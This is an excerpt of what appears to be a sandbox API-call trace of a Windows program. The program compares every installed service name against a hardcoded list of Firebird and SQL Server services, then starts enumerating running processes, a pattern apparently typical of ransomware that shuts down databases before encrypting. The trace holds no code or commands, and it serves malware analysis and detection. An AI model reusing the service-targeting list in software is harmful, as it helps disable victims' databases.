	[0170.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0170.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0170.466] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0170.466] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0170.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0170.466] lstrlenW (lpString="CryptSvc") returned 8
	[0170.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0170.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0170.466] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0170.466] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0170.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0170.466] lstrlenW (lpString="DcomLaunch") returned 10
	[0170.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0170.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0170.466] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0170.466] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0170.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0170.466] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0170.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0170.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0170.466] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0170.466] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0170.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0170.466] lstrlenW (lpString="Dhcp") returned 4
	[0170.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0170.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0170.466] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0170.466] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0170.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0170.466] lstrlenW (lpString="Dnscache") returned 8
	[0170.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0170.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0170.466] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0170.466] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0170.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0170.467] lstrlenW (lpString="DPS") returned 3
	[0170.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0170.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0170.467] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0170.467] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0170.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0170.467] lstrlenW (lpString="DusmSvc") returned 7
	[0170.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0170.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0170.467] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0170.467] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0170.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0170.467] lstrlenW (lpString="EventLog") returned 8
	[0170.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0170.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0170.467] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0170.467] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0170.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0170.467] lstrlenW (lpString="EventSystem") returned 11
	[0170.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0170.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0170.467] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0170.467] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0170.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0170.467] lstrlenW (lpString="FontCache") returned 9
	[0170.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0170.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0170.467] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0170.467] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0170.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0170.469] lstrlenW (lpString="gpsvc") returned 5
	[0170.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0170.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0170.469] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0170.469] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0170.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0170.469] lstrlenW (lpString="iphlpsvc") returned 8
	[0170.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0170.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0170.469] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0170.469] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0170.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0170.470] lstrlenW (lpString="KeyIso") returned 6
	[0170.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0170.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0170.470] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0170.470] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0170.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0170.470] lstrlenW (lpString="LanmanServer") returned 12
	[0170.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0170.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0170.470] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0170.470] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0170.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0170.470] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0170.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0170.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0170.470] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0170.470] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0170.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0170.470] lstrlenW (lpString="lfsvc") returned 5
	[0170.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0170.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0170.470] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0170.470] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0170.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0170.470] lstrlenW (lpString="lmhosts") returned 7
	[0170.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0170.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0170.470] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0170.470] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0170.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0170.470] lstrlenW (lpString="LSM") returned 3
	[0170.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0170.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0170.470] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0170.470] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0170.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0170.471] lstrlenW (lpString="MpsSvc") returned 6
	[0170.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0170.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0170.471] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0170.471] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0170.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0170.471] lstrlenW (lpString="NcbService") returned 10
	[0170.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0170.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0170.471] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0170.471] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0170.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0170.471] lstrlenW (lpString="netprofm") returned 8
	[0170.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0170.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0170.471] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0170.471] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0170.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0170.471] lstrlenW (lpString="NgcSvc") returned 6
	[0170.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0170.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0170.471] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0170.471] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0170.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0170.471] lstrlenW (lpString="NlaSvc") returned 6
	[0170.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0170.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0170.471] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0170.471] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0170.471] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0170.471] lstrlenW (lpString="nsi") returned 3
	[0170.471] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0170.471] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0170.471] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0170.471] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0170.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0170.472] lstrlenW (lpString="PcaSvc") returned 6
	[0170.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0170.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0170.472] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0170.472] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0170.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0170.472] lstrlenW (lpString="PlugPlay") returned 8
	[0170.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0170.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0170.472] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0170.472] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0170.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0170.472] lstrlenW (lpString="Power") returned 5
	[0170.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0170.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0170.472] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0170.472] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0170.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0170.472] lstrlenW (lpString="ProfSvc") returned 7
	[0170.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0170.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0170.472] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0170.472] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0170.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0170.472] lstrlenW (lpString="RpcEptMapper") returned 12
	[0170.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0170.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0170.472] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0170.472] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0170.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0170.472] lstrlenW (lpString="RpcSs") returned 5
	[0170.472] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0170.472] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0170.472] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0170.472] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0170.472] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0170.473] lstrlenW (lpString="SamSs") returned 5
	[0170.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0170.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0170.473] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0170.473] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0170.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0170.473] lstrlenW (lpString="Schedule") returned 8
	[0170.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0170.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0170.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0170.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0170.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0170.473] lstrlenW (lpString="SecurityHealthService") returned 21
	[0170.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0170.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0170.473] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0170.473] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0170.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0170.473] lstrlenW (lpString="SENS") returned 4
	[0170.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0170.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0170.473] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0170.473] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0170.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0170.473] lstrlenW (lpString="ShellHWDetection") returned 16
	[0170.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0170.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0170.473] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0170.473] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0170.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0170.473] lstrlenW (lpString="Spooler") returned 7
	[0170.473] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0170.473] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0170.473] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0170.473] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0170.473] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0170.474] lstrlenW (lpString="StateRepository") returned 15
	[0170.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0170.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0170.474] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0170.474] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0170.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0170.474] lstrlenW (lpString="SysMain") returned 7
	[0170.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0170.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0170.474] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0170.474] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0170.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0170.474] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0170.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0170.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0170.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0170.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0170.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0170.839] lstrlenW (lpString="Themes") returned 6
	[0170.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0170.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0170.839] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0170.839] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0170.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0170.839] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0170.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0170.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0170.839] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0170.840] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0170.840] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0170.840] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x540
	[0170.845] Process32FirstW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0170.845] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0170.846] lstrlenW (lpString="System") returned 6
	[0170.846] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0170.846] lstrlenW (lpString="smss.exe") returned 8
	[0170.846] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0170.846] lstrlenW (lpString="csrss.exe") returned 9
	[0170.846] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0170.863] lstrlenW (lpString="wininit.exe") returned 11
	[0170.863] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0170.863] lstrlenW (lpString="csrss.exe") returned 9
	[0170.863] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0170.864] lstrlenW (lpString="winlogon.exe") returned 12
	[0170.864] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0170.873] lstrlenW (lpString="services.exe") returned 12
	[0170.874] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0170.874] lstrlenW (lpString="lsass.exe") returned 9
	[0170.874] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0170.874] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0170.874] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0170.875] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0170.875] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.875] lstrlenW (lpString="svchost.exe") returned 11
	[0170.875] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.876] lstrlenW (lpString="svchost.exe") returned 11
	[0170.876] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0170.876] lstrlenW (lpString="dwm.exe") returned 7
	[0170.876] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.876] lstrlenW (lpString="svchost.exe") returned 11
	[0170.876] Process32NextW (in: hSnapshot=0x540, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0170.877] lstrlenW (lpString="svchost.exe") returned 11
